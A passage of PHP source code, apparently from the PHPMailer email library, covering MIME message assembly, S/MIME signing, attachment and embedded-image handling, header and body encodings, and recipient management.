$this->getBoundary($this->boundary[2], $altBodyCharSet, \'text/plain\', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, \'text/html\', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll(\'attachment\', $this->boundary[1]);\n break;\n case \'alt_inline_attach\':\n $body .= $mimepre;\n $body .= $this->textLine(\'--\' . $this->boundary[1]);\n $body .= $this->headerLine(\'Content-Type\', \'multipart/alternative;\');\n $body .= $this->textLine("\\tboundary=\\"" . $this->boundary[2] . \'"\');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, \'text/plain\', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine(\'--\' . $this->boundary[2]);\n $body .= $this->headerLine(\'Content-Type\', \'multipart/related;\');\n $body .= $this->textLine("\\tboundary=\\"" . $this->boundary[3] . \'"\');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, \'text/html\', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll(\'inline\', $this->boundary[3]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll(\'attachment\', $this->boundary[1]);\n break;\n default:\n // Catch case \'plain\' and case \'\', applies to simple `text/plain` and `text/html` body content types\n //Reset the `Encoding` property in case we changed it for line length reasons\n $this->Encoding = $bodyEncoding;\n $body .= $this->encodeString($this->Body, $this->Encoding);\n break;\n }\n\n if ($this->isError()) {\n $body = \'\';\n } elseif ($this->sign_key_file) {\n try {\n if (!defined(\'PKCS7_TEXT\')) {\n throw new phpmailerException($this->lang(\'extension_missing\') . \'openssl\');\n }\n // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1\n $file = tempnam(sys_get_temp_dir(), \'mail\');\n if (false === file_put_contents($file, $body)) {\n throw new phpmailerException($this->lang(\'signing\') . \' Could not write temp file\');\n }\n $signed = tempnam(sys_get_temp_dir(), \'signed\');\n //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197\n if (empty($this->sign_extracerts_file)) {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n \'file://\' . realpath($this->sign_cert_file),\n array(\'file://\' . realpath($this->sign_key_file), $this->sign_key_pass),\n null\n );\n } else {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n \'file://\' . realpath($this->sign_cert_file),\n array(\'file://\' . realpath($this->sign_key_file), $this->sign_key_pass),\n null,\n PKCS7_DETACHED,\n $this->sign_extracerts_file\n );\n }\n if ($sign) {\n @unlink($file);\n $body = file_get_contents($signed);\n @unlink($signed);\n //The message returned by openssl contains both headers and body, so need to split them up\n $parts = explode("\\n\\n", $body, 2);\n $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;\n $body = $parts[1];\n } else {\n @unlink($file);\n @unlink($signed);\n throw new phpmailerException($this->lang(\'signing\') . openssl_error_string());\n }\n } catch (phpmailerException $exc) {\n $body = \'\';\n if ($this->exceptions) {\n throw $exc;\n }\n }\n }\n return $body;\n }\n\n /**\n * Return the start of a message boundary.\n * @access protected\n * @param string $boundary\n * @param string $charSet\n * @param string $contentType\n * @param string $encoding\n * @return string\n */\n protected function getBoundary($boundary, $charSet, $contentType, $encoding)\n {\n $result = \'\';\n if ($charSet == \'\') {\n $charSet = $this->CharSet;\n }\n if ($contentType == \'\') {\n $contentType = $this->ContentType;\n }\n if ($encoding == \'\') {\n $encoding = $this->Encoding;\n }\n $result .= $this->textLine(\'--\' . $boundary);\n $result .= sprintf(\'Content-Type: %s; charset=%s\', $contentType, $charSet);\n $result .= $this->LE;\n // RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != \'7bit\') {\n $result .= $this->headerLine(\'Content-Transfer-Encoding\', $encoding);\n }\n $result .= $this->LE;\n\n return $result;\n }\n\n /**\n * Return the end of a message boundary.\n * @access protected\n * @param string $boundary\n * @return string\n */\n protected function endBoundary($boundary)\n {\n return $this->LE . \'--\' . $boundary . \'--\' . $this->LE;\n }\n\n /**\n * Set the message type.\n * PHPMailer only supports some preset message types, not arbitrary MIME structures.\n * @access protected\n * @return void\n */\n protected function setMessageType()\n {\n $type = array();\n if ($this->alternativeExists()) {\n $type[] = \'alt\';\n }\n if ($this->inlineImageExists()) {\n $type[] = \'inline\';\n }\n if ($this->attachmentExists()) {\n $type[] = \'attach\';\n }\n $this->message_type = implode(\'_\', $type);\n if ($this->message_type == \'\') {\n //The \'plain\' message_type refers to the message having a single body element, not that it is plain-text\n $this->message_type = \'plain\';\n }\n }\n\n /**\n * Format a header line.\n * @access public\n * @param string $name\n * @param string $value\n * @return string\n */\n public function headerLine($name, $value)\n {\n return $name . \': \' . $value . $this->LE;\n }\n\n /**\n * Return a formatted mail line.\n * @access public\n * @param string $value\n * @return string\n */\n public function textLine($value)\n {\n return $value . $this->LE;\n }\n\n /**\n * Add an attachment from a path on the filesystem.\n * Never use a user-supplied path to a file!\n * Returns false if the file could not be found or read.\n * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.\n * If you need to do that, fetch the resource yourself and pass it in via a local file or string.\n * @param string $path Path to the attachment.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @throws phpmailerException\n * @return boolean\n */\n public function addAttachment($path, $name = \'\', $encoding = \'base64\', $type = \'\', $disposition = \'attachment\')\n {\n try {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n throw new phpmailerException($this->lang(\'file_access\') . $path, self::STOP_CONTINUE);\n }\n\n // If a MIME type is not specified, try to work it out from the file name\n if ($type == \'\') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == \'\') {\n $name = $filename;\n }\n\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, // isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n return true;\n }\n\n /**\n * Return the array of attachments.\n * @return array\n */\n public function getAttachments()\n {\n return $this->attachment;\n }\n\n /**\n * Attach all file, string, and binary attachments to the message.\n * Returns an empty string on failure.\n * @access protected\n * @param string $disposition_type\n * @param string $boundary\n * @return string\n */\n protected function attachAll($disposition_type, $boundary)\n {\n // Return text of body\n $mime = array();\n $cidUniq = array();\n $incl = array();\n\n // Add all attachments\n foreach ($this->attachment as $attachment) {\n // Check if it is a valid disposition_filter\n if ($attachment[6] == $disposition_type) {\n // Check for string attachment\n $string = \'\';\n $path = \'\';\n $bString = $attachment[5];\n if ($bString) {\n $string = $attachment[0];\n } else {\n $path = $attachment[0];\n }\n\n $inclhash = md5(serialize($attachment));\n if (in_array($inclhash, $incl)) {\n continue;\n }\n $incl[] = $inclhash;\n $name = $attachment[2];\n $encoding = $attachment[3];\n $type = $attachment[4];\n $disposition = $attachment[6];\n $cid = $attachment[7];\n if ($disposition == \'inline\' && array_key_exists($cid, $cidUniq)) {\n continue;\n }\n $cidUniq[$cid] = true;\n\n $mime[] = sprintf(\'--%s%s\', $boundary, $this->LE);\n //Only include a filename property if we have one\n if (!empty($name)) {\n $mime[] = sprintf(\n \'Content-Type: %s; name="%s"%s\',\n $type,\n $this->encodeHeader($this->secureHeader($name)),\n $this->LE\n );\n } else {\n $mime[] = sprintf(\n \'Content-Type: %s%s\',\n $type,\n $this->LE\n );\n }\n // RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != \'7bit\') {\n $mime[] = sprintf(\'Content-Transfer-Encoding: %s%s\', $encoding, $this->LE);\n }\n\n if ($disposition == \'inline\') {\n $mime[] = sprintf(\'Content-ID: <%s>%s\', $cid, $this->LE);\n }\n\n // If a filename contains any of these chars, it should be quoted,\n // but not otherwise: RFC2183 & RFC2045 5.1\n // Fixes a warning in IETF\'s msglint MIME checker\n // Allow for bypassing the Content-Disposition header totally\n if (!(empty($disposition))) {\n $encoded_name = $this->encodeHeader($this->secureHeader($name));\n if (preg_match(\'/[ \\(\\)<>@,;:\\\\"\\/\\[\\]\\?=]/\', $encoded_name)) {\n $mime[] = sprintf(\n \'Content-Disposition: %s; filename="%s"%s\',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n if (!empty($encoded_name)) {\n $mime[] = sprintf(\n \'Content-Disposition: %s; filename=%s%s\',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n $mime[] = sprintf(\n \'Content-Disposition: %s%s\',\n $disposition,\n $this->LE . $this->LE\n );\n }\n }\n } else {\n $mime[] = $this->LE;\n }\n\n // Encode as string attachment\n if ($bString) {\n $mime[] = $this->encodeString($string, $encoding);\n if ($this->isError()) {\n return \'\';\n }\n $mime[] = $this->LE . $this->LE;\n } else {\n $mime[] = $this->encodeFile($path, $encoding);\n if ($this->isError()) {\n return \'\';\n }\n $mime[] = $this->LE . $this->LE;\n }\n }\n }\n\n $mime[] = sprintf(\'--%s--%s\', $boundary, $this->LE);\n\n return implode(\'\', $mime);\n }\n\n /**\n * Encode a file attachment in requested format.\n * Returns an empty string on failure.\n * @param string $path The full path to the file\n * @param string $encoding The encoding to use; one of \'base64\', \'7bit\', \'8bit\', \'binary\', \'quoted-printable\'\n * @throws phpmailerException\n * @access protected\n * @return string\n */\n protected function encodeFile($path, $encoding = \'base64\')\n {\n try {\n if (!self::isPermittedPath($path) or !file_exists($path)) {\n throw new phpmailerException($this->lang(\'file_open\') . $path, self::STOP_CONTINUE);\n }\n $magic_quotes = false;\n if( version_compare(PHP_VERSION, \'7.4.0\', \'<\') ) {\n $magic_quotes = get_magic_quotes_runtime();\n }\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, \'5.3.0\', \'<\')) {\n set_magic_quotes_runtime(false);\n } else {\n //Doesn\'t exist in PHP 5.4, but we don\'t need to check because\n //get_magic_quotes_runtime always returns false in 5.4+\n //so it will never get here\n ini_set(\'magic_quotes_runtime\', false);\n }\n }\n $file_buffer = file_get_contents($path);\n $file_buffer = $this->encodeString($file_buffer, $encoding);\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, \'5.3.0\', \'<\')) {\n set_magic_quotes_runtime($magic_quotes);\n } else {\n ini_set(\'magic_quotes_runtime\', $magic_quotes);\n }\n }\n return $file_buffer;\n } catch (Exception $exc) {\n $this->setError($exc->getMessage());\n return \'\';\n }\n }\n\n /**\n * Encode a string in requested format.\n * Returns an empty string on failure.\n * @param string $str The text to encode\n * @param string $encoding The encoding to use; one of \'base64\', \'7bit\', \'8bit\', \'binary\', \'quoted-printable\'\n * @access public\n * @return string\n */\n public function encodeString($str, $encoding = \'base64\')\n {\n $encoded = \'\';\n switch (strtolower($encoding)) {\n case \'base64\':\n $encoded = chunk_split(base64_encode($str), 76, $this->LE);\n break;\n case \'7bit\':\n case \'8bit\':\n $encoded = $this->fixEOL($str);\n // Make sure it ends with a line break\n if (substr($encoded, -(strlen($this->LE))) != $this->LE) {\n $encoded .= $this->LE;\n }\n break;\n case \'binary\':\n $encoded = $str;\n break;\n case \'quoted-printable\':\n $encoded = $this->encodeQP($str);\n break;\n default:\n $this->setError($this->lang(\'encoding\') . $encoding);\n break;\n }\n return $encoded;\n }\n\n /**\n * Encode a header string optimally.\n * Picks shortest of Q, B, quoted-printable or none.\n * @access public\n * @param string $str\n * @param string $position\n * @return string\n */\n public function encodeHeader($str, $position = \'text\')\n {\n $matchcount = 0;\n switch (strtolower($position)) {\n case \'phrase\':\n if (!preg_match(\'/[\\200-\\377]/\', $str)) {\n // Can\'t use addslashes as we don\'t know the value of magic_quotes_sybase\n $encoded = addcslashes($str, "\\0..\\37\\177\\\\\\"");\n if (($str == $encoded) && !preg_match(\'/[^A-Za-z0-9!#$%&\\\'*+\\/=?^_`{|}~ -]/\', $str)) {\n return ($encoded);\n } else {\n return ("\\"$encoded\\"");\n }\n }\n $matchcount = preg_match_all(\'/[^\\040\\041\\043-\\133\\135-\\176]/\', $str, $matches);\n break;\n /** @noinspection PhpMissingBreakStatementInspection */\n case \'comment\':\n $matchcount = preg_match_all(\'/[()"]/\', $str, $matches);\n // Intentional fall-through\n case \'text\':\n default:\n $matchcount += preg_match_all(\'/[\\000-\\010\\013\\014\\016-\\037\\177-\\377]/\', $str, $matches);\n break;\n }\n\n //There are no chars that need encoding\n if ($matchcount == 0) {\n return ($str);\n }\n\n $maxlen = 75 - 7 - strlen($this->CharSet);\n // Try to select the encoding which should produce the shortest output\n if ($matchcount > strlen($str) / 3) {\n // More than a third of the content will need encoding, so B encoding will be most efficient\n $encoding = \'B\';\n if (function_exists(\'mb_strlen\') && $this->hasMultiBytes($str)) {\n // Use a custom function which correctly encodes and wraps long\n // multibyte strings without breaking lines within a character\n $encoded = $this->base64EncodeWrapMB($str, "\\n");\n } else {\n $encoded = base64_encode($str);\n $maxlen -= $maxlen % 4;\n $encoded = trim(chunk_split($encoded, $maxlen, "\\n"));\n }\n } else {\n $encoding = \'Q\';\n $encoded = $this->encodeQ($str, $position);\n $encoded = $this->wrapText($encoded, $maxlen, true);\n $encoded = str_replace(\'=\' . self::CRLF, "\\n", trim($encoded));\n }\n\n $encoded = preg_replace(\'/^(.*)$/m\', \' =?\' . $this->CharSet . "?$encoding?\\\\1?=", $encoded);\n $encoded = trim(str_replace("\\n", $this->LE, $encoded));\n\n return $encoded;\n }\n\n /**\n * Check if a string contains multi-byte characters.\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @return boolean\n */\n public function hasMultiBytes($str)\n {\n if (function_exists(\'mb_strlen\')) {\n return (strlen($str) > mb_strlen($str, $this->CharSet));\n } else { // Assume no multibytes (we can\'t handle without mbstring functions anyway)\n return false;\n }\n }\n\n /**\n * Does a string contain any 8-bit chars (in any charset)?\n * @param string $text\n * @return boolean\n */\n public function has8bitChars($text)\n {\n return (boolean)preg_match(\'/[\\x80-\\xFF]/\', $text);\n }\n\n /**\n * Encode and wrap long multibyte strings for mail headers\n * without breaking lines within a character.\n * Adapted from a function by paravoid\n * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @param string $linebreak string to use as linefeed/end-of-line\n * @return string\n */\n public function base64EncodeWrapMB($str, $linebreak = null)\n {\n $start = \'=?\' . $this->CharSet . \'?B?\';\n $end = \'?=\';\n $encoded = \'\';\n if ($linebreak === null) {\n $linebreak = $this->LE;\n }\n\n $mb_length = mb_strlen($str, $this->CharSet);\n // Each line must have length <= 75, including $start and $end\n $length = 75 - strlen($start) - strlen($end);\n // Average multi-byte ratio\n $ratio = $mb_length / strlen($str);\n // Base64 has a 4:3 ratio\n $avgLength = floor($length * $ratio * .75);\n\n for ($i = 0; $i < $mb_length; $i += $offset) {\n $lookBack = 0;\n do {\n $offset = $avgLength - $lookBack;\n $chunk = mb_substr($str, $i, $offset, $this->CharSet);\n $chunk = base64_encode($chunk);\n $lookBack++;\n } while (strlen($chunk) > $length);\n $encoded .= $chunk . $linebreak;\n }\n\n // Chomp the last linefeed\n $encoded = substr($encoded, 0, -strlen($linebreak));\n return $encoded;\n }\n\n /**\n * Encode a string in quoted-printable format.\n * According to RFC2045 section 6.7.\n * @access public\n * @param string $string The text to encode\n * @param integer $line_max Number of chars allowed on a line before wrapping\n * @return string\n * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment\n */\n public function encodeQP($string, $line_max = 76)\n {\n // Use native function if it\'s available (>= PHP5.3)\n if (function_exists(\'quoted_printable_encode\')) {\n return quoted_printable_encode($string);\n }\n // Fall back to a pure PHP implementation\n $string = str_replace(\n array(\'%20\', \'%0D%0A.\', \'%0D%0A\', \'%\'),\n array(\' \', "\\r\\n=2E", "\\r\\n", \'=\'),\n rawurlencode($string)\n );\n return preg_replace(\'/[^\\r\\n]{\' . ($line_max - 3) . \'}[^=\\r\\n]{2}/\', "$0=\\r\\n", $string);\n }\n\n /**\n * Backward compatibility wrapper for an old QP encoding function that was removed.\n * @see PHPMailer::encodeQP()\n * @access public\n * @param string $string\n * @param integer $line_max\n * @param boolean $space_conv\n * @return string\n * @deprecated Use encodeQP instead.\n */\n public function encodeQPphp(\n $string,\n $line_max = 76,\n /** @noinspection PhpUnusedParameterInspection */ $space_conv = false\n ) {\n return $this->encodeQP($string, $line_max);\n }\n\n /**\n * Encode a string using Q encoding.\n * @link http://tools.ietf.org/html/rfc2047\n * @param string $str the text to encode\n * @param string $position Where the text is going to be used, see the RFC for what that means\n * @access public\n * @return string\n */\n public function encodeQ($str, $position = \'text\')\n {\n // There should not be any EOL in the string\n $pattern = \'\';\n $encoded = str_replace(array("\\r", "\\n"), \'\', $str);\n switch (strtolower($position)) {\n case \'phrase\':\n // RFC 2047 section 5.3\n $pattern = \'^A-Za-z0-9!*+\\/ -\';\n break;\n /** @noinspection PhpMissingBreakStatementInspection */\n case \'comment\':\n // RFC 2047 section 5.2\n $pattern = \'\\(\\)"\';\n // intentional fall-through\n // for this reason we build the $pattern without including delimiters and []\n case \'text\':\n default:\n // RFC 2047 section 5.1\n // Replace every high ascii, control, =, ? and _ characters\n $pattern = \'\\000-\\011\\013\\014\\016-\\037\\075\\077\\137\\177-\\377\' . $pattern;\n break;\n }\n $matches = array();\n if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {\n // If the string contains an \'=\', make sure it\'s the first thing we replace\n // so as to avoid double-encoding\n $eqkey = array_search(\'=\', $matches[0]);\n if (false !== $eqkey) {\n unset($matches[0][$eqkey]);\n array_unshift($matches[0], \'=\');\n }\n foreach (array_unique($matches[0]) as $char) {\n $encoded = str_replace($char, \'=\' . sprintf(\'%02X\', ord($char)), $encoded);\n }\n }\n // Replace every spaces to _ (more readable than =20)\n return str_replace(\' \', \'_\', $encoded);\n }\n\n /**\n * Add a string or binary attachment (non-filesystem).\n * This method can be used to attach ascii or binary data,\n * such as a BLOB record from a database.\n * @param string $string String attachment data.\n * @param string $filename Name of the attachment.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @return void\n */\n public function addStringAttachment(\n $string,\n $filename,\n $encoding = \'base64\',\n $type = \'\',\n $disposition = \'attachment\'\n ) {\n // If a MIME type is not specified, try to work it out from the file name\n if ($type == \'\') {\n $type = self::filenameToType($filename);\n }\n // Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $filename,\n 2 => basename($filename),\n 3 => $encoding,\n 4 => $type,\n 5 => true, // isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n }\n\n /**\n * Add an embedded (inline) attachment from a file.\n * This can include images, sounds, and just about any other document type.\n * These differ from \'regular\' attachments in that they are intended to be\n * displayed inline with the message, not just attached for download.\n * This is used in HTML messages that embed the images\n * the HTML refers to using the $cid value.\n * Never use a user-supplied path to a file!\n * @param string $path Path to the attachment.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n */\n public function addEmbeddedImage($path, $cid, $name = \'\', $encoding = \'base64\', $type = \'\', $disposition = \'inline\')\n {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n $this->setError($this->lang(\'file_access\') . $path);\n return false;\n }\n\n // If a MIME type is not specified, try to work it out from the file name\n if ($type == \'\') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == \'\') {\n $name = $filename;\n }\n\n // Append to $attachment array\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, // isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n /**\n * Add an embedded stringified attachment.\n * This can include images, sounds, and just about any other document type.\n * Be sure to set the $type to an image type for images:\n * JPEG images use \'image/jpeg\', GIF uses \'image/gif\', PNG uses \'image/png\'.\n * @param string $string The attachment binary data.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n */\n public function addStringEmbeddedImage(\n $string,\n $cid,\n $name = \'\',\n $encoding = \'base64\',\n $type = \'\',\n $disposition = \'inline\'\n ) {\n // If a MIME type is not specified, try to work it out from the name\n if ($type == \'\' and !empty($name)) {\n $type = self::filenameToType($name);\n }\n\n // Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $name,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => true, // isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n /**\n * Check if an inline attachment is present.\n * @access public\n * @return boolean\n */\n public function inlineImageExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == \'inline\') {\n return true;\n }\n }\n return false;\n }\n\n /**\n * Check if an attachment (non-inline) is present.\n * @return boolean\n */\n public function attachmentExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == \'attachment\') {\n return true;\n }\n }\n return false;\n }\n\n /**\n * Check if this message has an alternative body set.\n * @return boolean\n */\n public function alternativeExists()\n {\n return !empty($this->AltBody);\n }\n\n /**\n * Clear queued addresses of given kind.\n * @access protected\n * @param string $kind \'to\', \'cc\', or \'bcc\'\n * @return void\n */\n public function clearQueuedAddresses($kind)\n {\n $RecipientsQueue = $this->RecipientsQueue;\n foreach ($RecipientsQueue as $address => $params) {\n if ($params[0] == $kind) {\n unset($this->RecipientsQueue[$address]);\n }\n }\n }\n\n /**\n * Clear all To recipients.\n * @return void\n */\n public function clearAddresses()\n {\n foreach ($this->to as $to) {\n unset($this->all_recipients[strtolower($to[0])]);\n }\n $this->to = array();\n $this->clearQueuedAddresses(\'to\');\n }\n\n /**\n * Clear all CC recipients.\n * @return void\n */\n public function clearCCs()\n {\n foreach ($this->cc as $cc) {\n unset($this->all_recipients[strtolower($cc[0])]);\n }\n $this->cc = array();\n $this->clearQueuedAddresses(\'cc\');\n }\n\n /**\n * Clear all BCC recipients.\n * @return void\n */\n public function clearBCCs()\n {\n foreach ($this->bcc as $bcc) {\n unset($this->all_recipients[strtolower($bcc[0])]);\n }\n $this->bcc = array();\n $this->clearQueuedAddresses(\'bcc\');\n }\n\n /**\n * Clear all ReplyTo recipients.\n * @return void\n */\n public function clearReplyTos()\n {\n $this->ReplyTo = array();\n $this->ReplyToQueue = array();\n }\n\n /**\n * Clear all recipient types.\n * @return void\n */\n public function clearAllRecipients()\n {\n $this->to = array();\n $this->cc = array();\n $this->bcc = array();\n $this->all_recipients = array();\n $this->RecipientsQueue = array();\n }\n\n /**\n * Clear all filesystem, string, and binary attachments.\n * @return void\n */\n public function clearAttachments()\n {\n $this->attachment = array();\n }\n\n /**\n * Clear all custom headers.\n * @return void\n */\n public function clearCustomHeaders()\n {\n $this->CustomHeader = array();\n }\n\n /**\n * Add an error message to the error container.\n * @access protected\n * @param string $msg\n * @return void\n */\n protected function setError($msg)\n {\n $this->error_count++;\n if ($this->Mailer == \'smtp\' and !is_null($this->smtp)) {\n $lasterror = $this->smtp->getError();\n if (!empty($lasterror[\'error\'])) {\n $msg .= $this->lang(\'smtp_error\') . $lasterror[\'error\'];\n if (!empty($lasterror[\'detail\'])) {\n $msg .= \' Detail: \'. $lasterror[\'detail\'];\n }\n if (!empty($lasterror[\'smtp_code\'])) {\n $msg .= \' SMTP code: \' . $lasterror[\'smtp_code\'];\n }\n if (!empty($lasterror[\'smtp_code_ex\'])) {\n $msg .= \' Additional SMTP info: \' . $lasterror[\'smtp_code_ex\'];\n }\n }\n }\n $this->ErrorInfo = $msg;\n }\n\n /**\n * Return an RFC 822 formatted date.\n * @access public\n * @return string\n * @static\n */\n public static function rfcDate()\n {\n // Set the time zone to whatever the default is to avoid 500 errors\n // Will default to UTC if it\'s not set properly in php.ini\n date_default_timezone_set(@date_default_timezone_get());\n return date(\'D, j M Y H:i:s O\');\n }\n\n /**\n * Get the server hostname.\n * Returns \'localhost.localdomain\' if unknown.\n * @access protected\n * @return string\n */\n protected function serverHostname()\n {\n $result = \'localhost.localdomain\';\n if (!empty($this->Hostname)) {\n $result = $this->Hostname;\n } elseif (isset($_SERVER) and array_key_exists(\'SERVER_NAME\', $_SERVER) and !empty($_SERVER[\'SERVER_NAME\'])) {\n $result = $_SERVER[\'SERVER_NAME\'];\n } elseif (function_exists(\'gethostname\') && gethostname() !== false) {\n $result = gethostname();\n } elseif (php_uname(\'n\') !== false) {\n $result = php_uname(\'n\');\n }\n return $result;\n }\n\n /**\n * Get an error message in the current language.\n * @access protected\n * @param string $key\n * @return string\n */\n protected function lang($key)\n {\n if (count($this->language) < 1) {\n $this->setLanguage(\'en\'); // set the default language\n }\n\n if (array_key_exists($key, $this->language)) {\n if ($key == \'smtp_connect_failed\') {\n //Include a link to troubleshooting docs on SMTP connection failure\n //this is by far the biggest cause of support questions\n //but it\'s usually not PHPMailer\'s fault.\n return $this->language[$key] . \' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting\';\n }\n return $this->language[$key];\n } else {\n //Return the key as a fallback\n return $key;\n }\n }\n\n /**\n * Check if an error occurred.\n * @access public\n * @return boolean True if an error did occur.\n */\n public function isError()\n {\n return ($this->error_count > 0);\n }\n\n /**\n * Ensure consistent line endings in a string.\n * Changes every end of line from CRLF, CR or LF to $this->LE.\n * @access public\n * @param string $str String to fixEOL\n * @return string\n */\n public function fixEOL($str)\n {\n // Normalise to \\n\n $nstr = str_replace(array("\\r\\n", "\\r"), "\\n", $str);\n // Now convert LE as needed\n if ($this->LE !== "\\n") {\n $nstr = str_replace("\\n", $this->LE, $nstr);\n }\n return $nstr;\n }\n\n /**\n * Add a custom header.\n * $name value can be overloaded to contain\n * both header name and value (name:value)\n * @access public\n * @param string $name Custom header name\n * @param string $value Header value\n * @return void\n */\n public function addCustomHeader($name, $value = null)\n {\n if ($value === null) {\n // Value passed in as name:value\n $this->CustomHeader[] = explode(\':\', $name, 2);\n } else {\n $this->CustomHeader[] = array($name, $value);\n }\n }\n\n /**\n * Returns all custom headers.\n * @return array\n */\n public function getCustomHeaders()\n {\n return $this->CustomHeader;\n }\n\n /**\n * Create a message body from an HTML string.\n * Automatically inlines images and creates a plain-text version by converting the HTML,\n * overwriting any existing values in Body and AltBody.\n * Do not source $message content from user input!\n * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty\n * will look for an image file in $basedir/images/a.png and convert it to inline.\n * If you don\'t provide a $basedir, relative paths will be left untouched (and thus probably break in email)\n * If you don\'t want to apply these transformations to your HTML, just set Body and AltBody directly.\n * @access public\n * @param string $message HTML message string\n * @param string $basedir Absolute path to a base directory to prepend to relative paths to images\n * @param boolean|callable $advanced Whether to use the internal HTML to text converter\n * or your own custom converter @see PHPMailer::html2text()\n * @return string $message The transformed message Body\n */\n public function msgHTML($message, $basedir = \'\', $advanced = false)\n {\n preg_match_all(\'/(src|background)=["\\\'](.*)["\\\']/Ui\', $message, $images);\n if (array_key_exists(2, $images)) {\n if (strlen($basedir) > 1 && substr($basedir, -1) != \'/\') {\n // Ensure $basedir has a trailing /\n $basedir .= \'/\';\n }\n foreach ($images[2] as $imgindex => $url) {\n // Convert data URIs into embedded images\n if (preg_match(\'#^data:(image[^;,]*)(;base64)?,#\', $url, $match)) {\n $data = substr($url, strpos($url, \',\'));\n if ($match[2]) {\n $data = base64_decode($data);\n } else {\n $data = rawurldecode($data);\n }\n $cid = md5($url) . \'@phpmailer.0\'; // RFC2392 S 2\n if ($this->addStringEmbeddedImage($data, $cid, \'embed\' . $imgindex, \'base64\', $match[1])) {\n $message = str_replace(\n $images[0][$imgindex],\n $images[1][$imgindex] . \'="cid:\' . $cid . \'"\',\n $message\n );\n }\n continue;\n }\n if (\n // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)\n !empty($basedir)\n // Ignore URLs containing parent dir traversal (..)\n && (strpos($url, \'..\') === false)\n // Do not change urls that are already inline images\n && substr($url, 0, 4) !== \'cid:\'\n // Do not change absolute URLs, including anonymous protocol\n && !preg_match(\'#^[a-z][a-z0-9+.-]*:?//#i\', $url)\n ) {\n $filename = basename($url);\n $directory = dirname($url);\n if ($directory == \'.\') {\n $directory = \'\';\n }\n $cid = md5($url) . \'@phpmailer.0\'; // RFC2392 S 2\n if (strlen($directory) > 1 && substr($directory, -1) != \'/\') {\n $directory .= \'/\';\n }\n if ($this->addEmbeddedImage(\n $basedir . $directory . $filename,\n $cid,\n $filename,\n \'base64\',\n self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))\n )\n ) {\n $message = preg_replace(\n \'/\' . $images[1][$imgindex] . \'=["\\\']\' . preg_quote($url, \'/\') . \'["\\\']/Ui\',\n $images[1][$imgindex] . \'="cid:\' . $cid . \'"\',\n $message\n );\n }\n }\n }\n }\n $this->isHTML(true);\n // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better\n $this->Body = $this->normalizeBreaks($message);\n $this->AltBody = 